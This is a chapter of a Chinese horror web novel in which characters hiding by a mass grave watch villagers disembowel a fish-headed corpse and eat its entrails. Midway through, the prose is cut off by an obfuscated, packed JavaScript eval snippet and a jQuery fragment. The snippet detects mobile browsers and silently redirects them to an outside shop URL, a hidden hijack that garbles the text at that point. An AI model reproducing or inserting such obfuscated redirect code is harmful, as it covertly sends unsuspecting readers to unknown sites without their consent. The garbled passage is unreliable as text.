“闻岁——!”
一声惊呼绕过坚硬的头骨,直冲脑门,闻岁全身被冷汗浸湿,眼前画面颠倒混乱,如油墨画般晕染开,最终重新柔和成图。
他的眼前是一张放大的面孔。
洛晴捏着鼻子,啧了一声,神情中透着几分失望,声音被压的很闷:“原来没变马,站着都能睡着。”说完她后退两步,满眼透着嫌弃。
闻岁嘴角扯了扯,洛晴姐,你到底在失望什么。
他扫了眼周围,自己还是在乱葬岗的旁边,里面堆满了鱼头人腐臭的尸体和大量死鱼。他蹙了蹙眉,努力运转着被麻木的大脑,闷声道:“洛晴姐,我刚才到底是怎么了?”
面对青年求助一般的眼神,洛晴的狐狸眼微微眯起,嘴角仍旧挂着一抹处变不惊的笑容:“当然是做梦喽。”
她眼珠子转了转,脸上的梨涡若隐若现,接着道:“我倒没见过你这种人,在坟旁边还能站着睡着的人,未来可期。”
“……”闻岁撇了撇嘴,“我这是特殊情况!”
他的狡辩并没有起到很大的作用,反倒叫洛晴笑得更开心了,闻岁眼睁睁地看着洛晴在乱葬岗旁边笑了足足一分钟才停歇。
然而就在这时,洛晴的手机震了震,她拧眉点开手机,就看到“闻岁”发来的一条消息。
*
季白眼看着闻岁和洛晴的身影越来越淡,最终消失在迷雾深处,他拉着许昭昭,有些紧张地环顾四周,看到不远处有一个坍塌的房屋。
他没有犹豫,拉着许昭昭躲在房屋的狭缝中,从这个角度,他们刚好能看到渔村的方向,能够及时发现异常。
许昭昭一声不吭地蹲在季白身边,恐惧在无声的环境中发酵,就像一只蝴蝶煽动翅膀,最终引发一场巨大的风暴。
小女孩抿了抿唇,悄悄看了眼季白,难以想象他一个人在这样的环境中煎熬地度过这么多年,是如何克服这份刻在原始基因里的恐惧的。
季白似乎感受到了小女孩善意的目光,偏头朝许昭昭腼腆地笑了笑,这似乎是一种无声的安慰,也可能是他自己早已习惯。
二人在废弃的房屋中焦灼地等待着,季白是不是就看一眼手机上的时间以及剩余电量,生怕出了意外。
大雾浓得没有边际,蒙蔽了人的视觉和嗅觉,在视觉被蒙蔽的情况下,人的听觉往往会变得十分敏锐,这也导致许昭昭很容易被陌生的声音吓到。
但她死死咬着唇,不发出一点声音,否则就直接暴露了自己的位置,没有人知道在大雾中是否有其他的东西游荡。
季白倒是没受什么影响,紧紧攥着闻岁的手机,视线落在渔村的方向,从始至终没有挪动过。
也不知过了多久,许昭昭的耳朵动了动,本就敏锐的听力将所有的风吹草动全部收集,她本能地扯了扯季白的衣角,季白一愣,身上的肌肉瞬间紧绷。
两人全神贯注地看向道路的一旁。
一开始只是一点白的,后来整个从雾中冒出来,两人的脸色十分不好看,因为那从雾里走出来的人,全都穿着花白的丧服。
季白在其中看到不少眼熟的面孔,大部分都是村里的渔民,就连光头也不例外,披麻戴孝地跟在队伍末尾。
但在队伍的最前方,领头的人手中举着的并不是引魂幡,在那木架子上绑着的,是一个鱼头人身的人。
或者说尸体。
许昭昭死死地捂着嘴巴,不让自己尖叫出声,木架和鱼头人尸体微妙的摩擦声传入耳朵,令她莫名有些想吐。
丧葬队中的每一个人脸上的十分呆滞,失去了他们一开始所见的人味儿,和水面之下的“渔民”如出一辙。
季白咬着牙,目送队伍超前走了一小段,迅速编辑消息后发给洛晴。
【岁岁平安:丧葬队伍,是渔民】
【岁岁平安:还有一个,死掉的鱼头人】
……
闻岁垂眸看向这两条催命符一般的消息,手臂上起了一层鸡皮疙瘩,他有些麻木地转过头,看向被大雾遮蔽的道路。
不知道是不是他的错觉,在那迷雾深处,似乎隐隐约约传来几声哀哭。
周围根本就没有能够躲藏的建筑,闻岁的额头渗出一层薄汗,有些无措地看向洛晴。
但洛晴没有说话,抱臂站在一旁,眼眸中毫无波澜,看上去倒是十分冷静,仿佛在说“这是你的审核本”。
“……”闻岁心如死灰地转过头,眼下只有乱葬岗内部有一些建筑的残骸。
他有些报复性地拽着洛晴的胳膊就往里冲,而后在洛晴惊愕地目光中一股脑跑到一个稍大一些的残垣后,从一道缝隙中观察情况。
二人蹲了很长一段时间,外面都没什么动静,闻岁甚至都有些怀疑方才手机里发来的消息是幻觉。
他不信邪地探了个头,见外面没什么东西,满脸轻松地阖了阖眸道:“洛晴姐,你看这不也没什么意外——!”
此时此刻,在洛晴身后,建筑残骸的另一头,探过来一个脑袋。
女人披头散发,手指紧紧扒着石壁,惨白的脸上沾满了血污。
“……”闻岁吞了口口水,声音有些发抖,“洛晴姐,你需不需要转个头……?”
洛晴淡定地看了闻岁一眼,果断转头和身后的人脸对上,微笑道:“你好。”
那女人抹了抹脸上的血污,整个人绕过来,坐在两人的中间,笑盈盈道:“你们好你们好。”
闻岁眼神呆滞地点了点头,等到三人这么静静地坐了几分钟后,思维瞬间爆炸,瞳孔瞪得溜圆,猛地偏头看向中间的人。
这不对吧?
女人安安静静地坐在二人中间,并没有理财闻岁有些突然的视线。闻岁仔细端详了一阵,总觉得这莫名出现的女人有些熟悉。
他在脑海中翻了翻,果真找到了一些蛛丝马迹,那女人身上的白裙子,和被高瘦男推入水中的人如出一辙,只是头发不知道为什么变成了淡淡的天蓝色。
一开始洛晴一定是察觉到了这点,所以才会如此镇定,但这女人是如何在水中存活,头发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874912|212362||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为什么会变色,鱼塘又为什么会在没有死人的情况下多出来那么多鱼,他们全都一无所知。
闻岁离陌生女人远了一点,在如此诡异的情况中静静等待着季白和许昭昭看到的东西。
不出一会儿,外面便有了窸窸窣窣的动静,闻岁的视线穿过狭缝,落在一个绑了鱼头人的木架上,托举着木架的就是不久前问话的大叔。
一群穿着丧服的村民静静地矗立在身后,脸上的活人气尽数丢失,像一尊尊白色的石像。
大叔将木架上的绳子解开,鱼头人的尸体掉在地上,发出一声闷响。大叔袖子中伸出一个匕首,在鱼头人的身上比划了几下,在闻岁惊诧地目光中,重重地在鱼头人的胸膛上划下、
“噗嗤——”
刹那间,血液喷溅,将木架染成血色,做完这一切后,拿着匕首的人突然痛苦地捂着脑袋,闻岁眼睁睁地看着他的头在短短十几秒内变成一个鱼头,眼睛分居脑侧边,直直对上了闻岁的视线。
……!
闻岁呼吸一滞,不动声色地蹲在原地,手心一片湿润,好在那人只是一动不动地待在原地,没有做什么。
但令人惊悚的是,穿着丧服的村民表情在一瞬间变得十分狂热,蜂拥向前,跪倒在开膛破肚的鱼头人旁边,用力撕扯着里面的内脏,疯了一般地往嘴里塞。
在这场分食的盛宴中,闻岁默默挪开视线,耳边却还是萦绕着咀嚼肉类的声音,他的胃里一阵恶心,脸色难看至极。
反观另外两人却不动如山,静静地靠着断壁,神色淡然。
等到咀嚼声差不多停歇,闻岁才硬着头皮挪回视线,而后就看到了更加匪夷所思的一幕。
那些村民在大快朵颐之后,竟在周边捡了一些石头赛回鱼头人的肚子中,用针线将肚子一点点缝起来,随着这一动作,原本变成鱼头人的大叔的头竟然慢慢恢复了原样。
“……”闻岁默默看了眼其他的鱼头人尸体,胸膛上确实有着不明显的细线。
这样看来,突然多出来一个蓝色头发的正常人,好像也不是那么诡异了。
这一切做完之后,村民便顺着原路离开,闻岁这才松了口气,借洛晴的手机安慰了那边两人之后,满脸忧愁地看着洛晴,捏着鼻子道:“这里是不是还会有一个小红帽啊,虽然是鱼外婆……”
洛晴翻了个白眼,懒得搭理闻岁,视线移向了第三个不速之客,嘴角上扬道:“不知道你叫什么名字,活下来还挺不容易的对吧?”
蓝头发的女人微微侧头,动作神态都比较文静,笑嘻嘻道:“我叫五月,很高兴认识活着的你。”
“刚才真是刺激呢,皮肉被撕裂的声音也很好听。”
闻岁别这番惊为天人的言论刺激到,惊疑不定地看着五月,忍不住问道:“五月,你的头发……”
“掉色了。”五月遗憾地低下头,接着有些苦恼地呢喃道,“看来还是得用我的血啊……”
闻岁看着五月,欲言又止。
……什么叫,用你的,血。